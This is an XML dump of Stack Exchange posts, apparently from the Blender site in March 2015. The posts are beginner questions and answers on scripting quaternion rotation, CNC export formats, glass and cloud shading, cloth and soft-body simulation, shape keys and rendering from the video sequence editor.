  <row Id="26809" PostTypeId="1" AcceptedAnswerId="27185" CreationDate="2015-03-08T17:19:20.270" Score="0" ViewCount="1325" Body="&lt;p&gt;Quaternion problems&#xA;Hi Guys and Gals. I've been trying to code my way out of a problem. Essentially, I've been trying to get an object to roll in whatever direction its travelling, so if moved on the x axis it'll roll on the Y, and so on. &#xA;So here's the code I'm trying to use. and below that is a dropbox link to the blend. As you can see i'm close. But the rotations all wrong. It looks like the quaternions misinterpreting things, and my brains to frazzled to unravel the issue. I would really appreciate it if some one could tell me where its all going wrong. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector &#xA;from mathutils import Quaternion&#xA;from math import pi&#xA;# create variables&#xA;target = bpy.context.scene.objects['CTRLEmpty']&#xA;empty = bpy.context.scene.objects['offsetEmpty']&#xA;rotator = bpy.context.scene.objects['RotatorEmpty']&#xA;obj = bpy.data.objects['Sphere.001']&#xA;# create a custom function called delay on the empty&#xA;target['delay'] = 2&#xA;# create a custom function called delay on the empty&#xA;target['radius'] = 2&#xA;&#xA;&#xA;# create empty list&#xA;prev_locations = []&#xA;&#xA;&#xA;# define the function&#xA;def roller_function(scene):&#xA;    # add the location of the Target (variable) to the prev_locations list&#xA;    prev_locations.append( Vector(target.location) )&#xA;    rot = Quaternion((0,0,0,0))&#xA;    # create variable called loc_count that is equal to the amount of entries in prev_locations list.&#xA;    loc_count = len(prev_locations)&#xA;    # cull list to 10 items&#xA;    # whenever loc count is larger than the delay variable...&#xA;    while loc_count &amp;gt; target['delay']:&#xA;        # &quot;pop&quot; or remove the entrie at index position 0 (i.e.  the first entry)&#xA;        prev_locations.pop(0)&#xA;        # then subtract one from location count&#xA;        loc_count -= 1&#xA;&#xA;    # create an average location vector and position vectors P0 is for previos frame position (or current frame of delayEmpty P1 is for current position&#xA;    loc_average = Vector()&#xA;    P0 = Vector()&#xA;    P1 = Vector()&#xA;    for loc in prev_locations:&#xA;        #  add together location average and loc&#xA;        loc_average += loc&#xA;    # divide loc_avrage by loc count to get the actual average location&#xA;    loc_average /= loc_count&#xA;    # place delayEmpty in the priorframe location&#xA;    empty.location = prev_locations[0]&#xA;&#xA;    #the clever bit&#xA;    #create previous frame Position variable &#xA;    P0 = loc_average&#xA;    #create current frame Position  variable &#xA;    P1 = target.location&#xA;    #if no distance travelled rotation is the same as prior frame&#xA;    if(P0!=P1) :&#xA;        #find the difference in location between this frame and last&#xA;        dif = P1-P0&#xA;        #get the distance travelled&#xA;        dist = dif.length&#xA;        #set the radius from average dimension &#xA;        r0 = (obj.dimensions[0] + obj.dimensions[1] + obj.dimensions[2])/3&#xA;&#xA;        vec = dif/-dist&#xA;        zUp = Vector((0, 0, 1))&#xA;        rotAxis = vec.cross(zUp)&#xA;        angle = 360*dist/((r0)*(2*pi))&#xA;        rotDif = Quaternion(rotAxis,angle)&#xA;        rot += rotDif&#xA;        # print feedback in console&#xA;        print(&quot;locational difference is&quot;)           &#xA;        print(dif)&#xA;        print(&quot;distance travelled is&quot;)&#xA;        print(dist)   &#xA;        print(&quot;vec is&quot;)           &#xA;        print(vec)&#xA;        print(&quot;angle is&quot;)           &#xA;        print(angle)&#xA;        print(&quot;rotation is&quot;)           &#xA;        print(rot)&#xA;        print(loc_count)&#xA;        rotator.rotation_quaternion = rot&#xA;        obj.rotation_quaternion = rot        &#xA;&#xA;&#xA;&#xA;# clear then add a function&#xA;bpy.app.handlers.frame_change_pre.clear()&#xA;bpy.app.handlers.frame_change_pre.append(roller_function)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/35247393/troubleshooter.blend&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/35247393/troubleshooter.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13021" LastActivityDate="2015-03-16T12:26:10.343" Title="Quaternion problems, Rotation in direction of transit" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26810" PostTypeId="1" CreationDate="2015-03-08T17:29:27.717" Score="10" ViewCount="16851" Body="&lt;p&gt;I am a beginner. I want to export a blender object to be cut on a CNC machine, the workshop ask me for a .stp file or a .igs file. My blender object has 250,000 tris, when I export to .stl the file size is 9mb but if I convert this file to .stp it becomes a huge 500mb file. Is there anything I can do within Blender before exporting the object to make this file size more reasonable?&lt;/p&gt;&#xA;" OwnerUserId="5049" LastActivityDate="2015-07-30T08:40:24.440" Title="Is there as way to export a blender object for cnc machining so it doesn't become a huge file size when converted to .stp?" Tags="&lt;export&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26812" PostTypeId="2" ParentId="26805" CreationDate="2015-03-08T17:36:51.100" Score="9" Body="&lt;p&gt;Refracting and reflecting materials need basically three things to look good:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Proper shape.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Light bounces all around and INSIDE an object. You need to pay attention how every single edge look like - for example just looking at the top edge of your glass I can say you need to give more definition to it. It should be sharper and inflated when compared to the side of a glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also glass surface is never perfect (the only exception would be optical lenses when you are justified to model it as perfectly shaped objects). So what you do is just add a little bit of displacement to the glass, just enough to barely see that distortion effecting reflections and refractions... and you think it's barely visible, just divide it by half and usually that's your sweet spot. Unless of course you are aiming for roughly formed glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first thing - grab a real glass and watch it as close as you can, then recreate every detail you can spot (which usually would be couple more edge loops and that slight displacement).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Proper lighting.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't think of a scene (except very very specfic ones) which looks good with one spot lamp. Try three point lighting at least, some high contrast lights or environment based lighting (rich surroundings that reflect and bounce light all around your scene or - which is best to start off - environment hdr light map).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Something to reflect.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again - hdr map as a lighting source helps here, but if you can build a rich scene that fills the space it would be just as good, if not better. For a quick scene however your best bet would be hdr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some specific shots with bright color and couple white light sources (like catalogue shots for glassware etc.) However those scenes are much harder arrange and they are actually target the synthetic looks of perfect and not very realistic look of clear glass. However if you look closely you still find that those shots still work because of proper setup and contrast.&#xA;And when rendering glass objects contast is very important, unless you aim for a milky, rough surface glass - you need very convincing highlights as your starting point and just the right amount of darker contrasting parts that will define your shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example you could look at these - not perfect or anything, but in the right direction I think:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Single area lightsource:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gkjAt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two color high contrast light source:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3JnWE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2015-03-08T17:36:51.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26813" PostTypeId="2" ParentId="26454" CreationDate="2015-03-08T18:02:16.613" Score="1" Body="&lt;p&gt;Yes, I do believe that you are correct in thinking that you need to up the steps of the simulation. You can find those in the cloth modifier tab under &quot;Physics&quot; in the Properties.&lt;img src=&quot;https://i.stack.imgur.com/oH58d.png&quot; alt=&quot;The steps can be set up to 80&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check if the hands and other body parts that need to collide have the collision in the &quot;Physics&quot; tab. More important, however, is proper subdivision. Make sure that the hand has proper subdivision and the cape is not only subdivided in one or two axis. For example make sure it looks like this: &lt;img src=&quot;https://i.stack.imgur.com/1PPQn.png&quot; alt=&quot;Subdivided 10 times in all axis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And not this:&lt;img src=&quot;https://i.stack.imgur.com/lgHLu.png&quot; alt=&quot;Subdivided 10 times in only two axis&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13050" LastActivityDate="2015-03-08T18:02:16.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26814" PostTypeId="2" ParentId="26810" CreationDate="2015-03-08T18:03:50.447" Score="6" Body="&lt;p&gt;This is a good question, and the answer unfortunately is mostly &quot;no&quot;. IGES and STEP files are (mostly) CAD/CAM files, and are not point- or polygonal-based. The file format itself is ASCII, and dates back into the 70s. It is great for driving CNC machines, since that's its history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some modeling programs (Rhino) can get you there from nurbs-based modeling. I am not aware of any option in Blender (or ZBrush, Maya) allowing you to get a clean IGES.  You can get STL files, which are great for 3D printing and which some routers will accept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of programs that will go back and forth between Nurbs, STEP and IGES...  and some higher-end products (SolidWorks) will bring in an stl and generate an IGES or STEP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you finda  better answer -- post here. We use Blender for a lot of 3D output, but when we need tooling, typically we need to have IGES... and this is the best info I have at the moment!&lt;/p&gt;&#xA;" OwnerUserId="11590" LastActivityDate="2015-03-08T18:03:50.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26815" PostTypeId="2" ParentId="26792" CreationDate="2015-03-08T18:18:55.620" Score="6" Body="&lt;p&gt;To offset when a rigid body simulation starts, I would suggest that you use keyframing to your advantage. You can keyframe any option in blender, including the &quot;Animate&quot; and &quot;Dynamic&quot; check boxes in the rigid body options. Mouse over the &quot;Animate&quot; or &quot;Dynamic&quot; checkbox and press &quot;i&quot; like any other add keyframe.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sMcps.png&quot; alt=&quot;Off&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pbcHh.png&quot; alt=&quot;On&quot;&gt;&#xA;You can then make it so that only when the object is hit, or at a certain time, will the object begin to fall. Likewise, you can also use this so that your fractured objects do not fall apart until they are hit or about to be hit. Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.You can find a full tutorial detailing this sort of animation/simulation &lt;a href=&quot;https://www.youtube.com/watch?v=DEo_9AopfoQ&quot; rel=&quot;noreferrer&quot; title=&quot;here.&quot;&gt;here.&lt;/a&gt; This is a three part tutorial (with a prequel teaching how to model the mug) made by Blender Cookie.&lt;/p&gt;&#xA;" OwnerUserId="13050" LastActivityDate="2015-03-08T18:18:55.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26816" PostTypeId="1" CreationDate="2015-03-08T18:26:54.200" Score="1" ViewCount="126" Body="&lt;p&gt;I newly started using shape keys to create an animation, which is just a cube wobbling on the spot, the first shape key that I applied was the top face of the cube rotating slightly, and to this point it went all good. Then I wanted to add another shape key, making the same face rotate back to place. When I created the Shape key, I went to Edit mode, but when I tried to rotate the face, it wouldn't move at all. I could see the dotted arrow as I usually would when rotating, while the face remained still.I tried using the hot keys (R -&gt; Z), the Mesh tools -&gt; transform, and 3D widget manipulator and all of them resulted in the same. I tried to do the same thing to the first Shape key and it worked, while the second did not, even though both seemed to have the exact same settings&#xA; &lt;img src=&quot;https://i.stack.imgur.com/3eHqk.jpg&quot; alt=&quot;the result of pressing R -&amp;gt; Z. The dotted line coming from the faces origin point would follow the cursor, but the face would not move&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13052" LastActivityDate="2015-03-08T18:45:50.820" Title="Several shape keys blocking mesh face trasformation?" Tags="&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26817" PostTypeId="2" ParentId="26816" CreationDate="2015-03-08T18:36:45.303" Score="2" Body="&lt;p&gt;You probably enabled the option which allows you to see the applied shapekey in Edit Mode. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/iVPKQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please set the shapekey value up to 1, and then edit the mesh or just disable this option.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EnBY4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-03-08T18:45:50.820" LastActivityDate="2015-03-08T18:45:50.820" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="26818" PostTypeId="1" CreationDate="2015-03-08T18:57:55.543" Score="2" ViewCount="587" Body="&lt;p&gt;I've animated my object with Simple Deform modifier (keyframed Angle property in Bend tab) and i would like to export this animation into game engine via .fbx. If i'm not wrong, i need to bake animations first, but i don't know how to bake modifier animation. &quot;Bake Action&quot; doesn't work, it just removes Simple Deform modifier, but animation is not baked after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've discovered that i can &quot;Apply As Shape Key&quot;, but baking shape keys also seems not to work...&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="8335" LastEditDate="2015-03-08T21:25:22.093" LastActivityDate="2015-03-08T21:25:22.093" Title="How to bake Simple Deform modifier animation for exporting?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-11-26T19:57:40.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="26819" PostTypeId="2" ParentId="7097" CreationDate="2015-03-08T19:10:46.667" Score="1" Body="&lt;p&gt;I am not sure if you have tried this, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connect a always sensor to a and controller to a Run armature brick,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if this is not your issue, just add a empty for each bone you want to manipulate,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;have the bone use copy rotation on the empty,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotate the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can move bones in the bge (I do it all the time for heads tracking cursors etc)&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-08T19:10:46.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26822" PostTypeId="1" CreationDate="2015-03-08T19:24:27.073" Score="4" ViewCount="856" Body="&lt;p&gt;When I import a .3ds model and render in front of an image it is transparent and loses its material.  What an I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/85/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=85&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13054" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-08T11:51:26.413" Title="Imported .3ds models when rendered become transparent" Tags="&lt;rendering&gt;&lt;import&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26824" PostTypeId="2" ParentId="26822" CreationDate="2015-03-08T20:51:28.097" Score="1" Body="&lt;p&gt;One of your issues lies within the &lt;em&gt;Render Layer&lt;/em&gt; options. You need to have no mask layers, and you need to move the objects to separate layers. To disable the transparency of the background you can go to &lt;em&gt;Render Settings &gt; Film&lt;/em&gt; and un-tick the &lt;em&gt;Transparent&lt;/em&gt; checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TBV5i.jpg&quot; alt=&quot;Transparent&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to comment if I have not addressed your issue, your question is rather vague.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-08T20:51:28.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26825" PostTypeId="1" CreationDate="2015-03-08T20:59:19.187" Score="0" ViewCount="149" Body="&lt;p&gt;I am making a game where the screen is split into two, so that two players can play on the same screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, i want both players to control their players in the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to differentiate between two keyboards, so that Keyboard 1 controls motion of Player 1, and Keyboard 2 controls motion of Player 2?&lt;/p&gt;&#xA;" OwnerUserId="5253" LastActivityDate="2015-03-08T20:59:19.187" Title="Using two keyboards within a Game" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26826" PostTypeId="1" CreationDate="2015-03-08T21:03:08.867" Score="2" ViewCount="1525" Body="&lt;p&gt;I have built a model using a mannequin and some text labels. When I render the scene with Cycles, I'm not getting a sharp focus on the objects in the scene.  I'm trying to produce a 312x502px .png image of my scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played with the depth of field focus setting using both focusing on an object in the scene and using the distance setting, but neither caused any improvement. My aperture setting is radius with a size of 0.0, and I'm using an orthographic camera. At the moment, saving my rendered scene to a .png image produces an image of very poor focus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to get better image sharpness before rendering just using material viewport shading!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The depth of field of the objects I'm trying to get a sharp focus on are about 1 Blender grid square in depth where the grid floor scale is set at 16 lines, scale 1.1  and subdivisions 10. - pretty much the standard setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't believe that it's not possible to get a nice sharp image of a rendered scene; can someone give me some pointers as to where/what I should concentrate on to solve my fuzzy focus problem?          &lt;/p&gt;&#xA;" OwnerUserId="13055" LastEditorUserId="1253" LastEditDate="2015-03-10T10:36:05.013" LastActivityDate="2015-04-09T10:52:42.037" Title="Poor focus in Cycles render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;camera&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26827" PostTypeId="1" CreationDate="2015-03-08T21:12:48.280" Score="0" ViewCount="643" Body="&lt;p&gt;I've tried everything. I have a 3D scan that is essentially just a shell. It has complex geometry, which makes it difficult. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the solidify modifier with a large thickness, but I have to clamp the surface so that the shape remains. In the end, it still doesn't thicken the shell by much. I want a solid object from the shell. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I tried making a large cube and using the boolean modifier to cut the shell away from the inside of the cube. I was hoping it would create two objects: the object that I want, and the excess part of the cube on the outside. I used another program to cut the cube to see inside and I can see the outline but I can't split the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there an easy way to make a shell solid? Or is there a way that I can split the two objects? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13056" LastActivityDate="2015-03-08T21:12:48.280" Title="How can I make a 3D scan shell into a solid object?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26828" PostTypeId="2" ParentId="26794" CreationDate="2015-03-08T21:17:34.730" Score="9" Body="&lt;p&gt;Another way to do this :&#xA;Select the faces around your cylinder&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/skJopm.jpg&quot; alt=&quot;basic cylinder&quot;&gt;&lt;br&gt;&#xA;Add loopcuts (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;mousewheel&lt;/kbd&gt;) to make square faces&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VbLvem.jpg&quot; alt=&quot;cut cylinder&quot;&gt;&lt;br&gt;&#xA;In Object mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) add a decimate modifier on unsubdivide with 1 iteration and apply it&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/d1ier.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d1ierm.jpg&quot; alt=&quot;decimate&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;In Edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) select your faces, then inset with &lt;kbd&gt;i&lt;/kbd&gt; and &lt;kbd&gt;i&lt;/kbd&gt; again for individual faces&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NrR4T.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NrR4Tm.jpg&quot; alt=&quot;inset&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt; while inseting to give some thickness or extrude individual faces with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F9D9mm.jpg&quot; alt=&quot;extrude&quot;&gt;&lt;br&gt;&#xA;You're done!&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JYfcfm.jpg&quot; alt=&quot;finished&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-08T21:17:34.730" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26829" PostTypeId="1" AcceptedAnswerId="26831" CreationDate="2015-03-08T21:43:05.800" Score="2" ViewCount="7182" Body="&lt;p&gt;I loaded 320 PNG files as an image sequence in the Video Sequence Editor and then applied a speed control effect strip to extend the sequence length to 960 frames (it's stop motion intended to be played at 10fps, but my final movie is going to be 30 fps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm scratching my head - How can I now use this slowed down movie as input for another step? Ideally, I can just hook it into the composer (but I couldn't find how). Alternatively, I don't mind rendering the sequence to a movie or image sequence, but I couldn't find how to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&quot; rel=&quot;nofollow&quot;&gt;Overview of the Sequence Editor&lt;/a&gt; it just says &quot;When you click Render or Anim to generate an image or video...&quot; but where do I click?!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1356" LastEditorUserId="29" LastEditDate="2015-03-08T22:17:30.653" LastActivityDate="2015-03-08T22:17:30.653" Title="How can I render a sequence created in the video sequence editor?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26830" PostTypeId="2" ParentId="6835" CreationDate="2015-03-08T22:01:45.413" Score="7" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LMEEg.png&quot; alt=&quot;I&quot;&gt;&#xA;Node setup. Absorbtion and an extra mix node (0.2 to account for 0.8 reflectivity) can help darken the bottoms a bit, but is entirely optional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clouds scatter preferentially forward, but simply raising the anisotropy will not accurately simulate the way the light scatters. You will need 3 separate volume scatter shaders and 2 mix shaders to get a fair approximati. Leave the color (preferrably connect the color inputs to an RGB node) the default 0.8 because water clouds reflect 80% of the energy that hits them. To get edge feathering, use a mapping node, select values less than 1 in the scaling field (the smaller the number, the less &quot;fuzzy&quot; the edge gets), and combine it with a sphere gradient texture, and combine that with a noise texture to simulate the density variations (the best results would come from making your clouds from clumps of individual sphere meshes, which can be done quickly by using a particle system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scatter Shader 1&#xA;Anisotropy: 0.9&#xA;Description: some of energy is concentrated in a 10 degree cone, creating the &quot;silver lining:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scatter Shader 2&#xA;Anisotropy: 0.250&#xA;Description: the rest of the forward scattered energy is scattered in a 90 degree cone&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mix Shader 1&#xA;Fac: 0.52&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scatter Shader 3&#xA;Anisotropy: -0.38&#xA;Description: There is sudden peak of backscatter over a 40 degree cone, facing the light source. This is responsible for you seeing the cloud despite it scattering most of the light forward, and why the shadowed side is darker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mix Shader 2&#xA;Fac: 0.48&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a fully accurate simulation. You would need Metropolis Light Transport to simulate the fogbow/cloudbow and glory. There is an MLT Patch for cycles but I do not think it supports volumes yet.&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="3254" LastEditDate="2015-03-09T00:00:08.280" LastActivityDate="2015-03-09T00:00:08.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26831" PostTypeId="2" ParentId="26829" CreationDate="2015-03-08T22:04:54.683" Score="3" Body="&lt;p&gt;Change your screen layout to be able to see the properties.&lt;br&gt;&#xA;2 choices :&lt;br&gt;&#xA;-From the layout menu, choose &lt;em&gt;Default&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NdkxP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;-From the frame menu, choose properties&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b7OnB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, choose the &lt;em&gt;render&lt;/em&gt; tab and you'll get the render and animation buttons.&lt;br&gt;&#xA;You'd better check the hilighted parameters in &lt;em&gt;dimensions&lt;/em&gt; before rendering. (resolution, frame range, frame rate)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6e4lw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;and also &lt;em&gt;output&lt;/em&gt; (path/name, file type (images/video/codec...))&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FDTEL.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-08T22:04:54.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26832" PostTypeId="1" AcceptedAnswerId="26874" CreationDate="2015-03-08T23:37:35.287" Score="2" ViewCount="1312" Body="&lt;p&gt;I was wondering how I would start to make a neck strap, for example one on binoculars in blender. Maybe somehow apply physics too it to make it more realistic as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TcTbA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z7vzm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like the straps on the images&lt;/p&gt;&#xA;" OwnerUserId="13024" LastActivityDate="2015-03-09T18:50:10.920" Title="How would I go about in making a neck strap?" Tags="&lt;objects&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26834" PostTypeId="1" AcceptedAnswerId="26863" CreationDate="2015-03-08T23:51:08.763" Score="10" ViewCount="2152" Body="&lt;h1&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34908&quot; rel=&quot;noreferrer&quot;&gt;My blend file&lt;/a&gt;&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I'm playing around with the Softbody engine in Blender to create something like &lt;strong&gt;&lt;a href=&quot;https://i.imgur.com/B92ZjT3.gif&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7SGAj.gif&quot; alt=&quot;what I&amp;#39;m trying to go for&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but I've had no luck yet. Whenever I try to simulate, I get very strange results like &lt;strong&gt;&lt;a href=&quot;http://gfycat.com/HoarseIllinformedBluetickcoonhound&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;a href=&quot;http://gfycat.com/ThatFewBullmastiff&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt;, shown here (links are better quality):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ve8Il.gif&quot; alt=&quot;example 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bULJv.gif&quot; alt=&quot;example 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although they're hilarious and fun to show to my friends, they're not &lt;strong&gt;&lt;a href=&quot;https://i.imgur.com/B92ZjT3.gif&quot; rel=&quot;noreferrer&quot;&gt;what I'm trying to achieve&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2015-03-09T17:06:29.040" Title="Why does my soft-body fly around?" Tags="&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
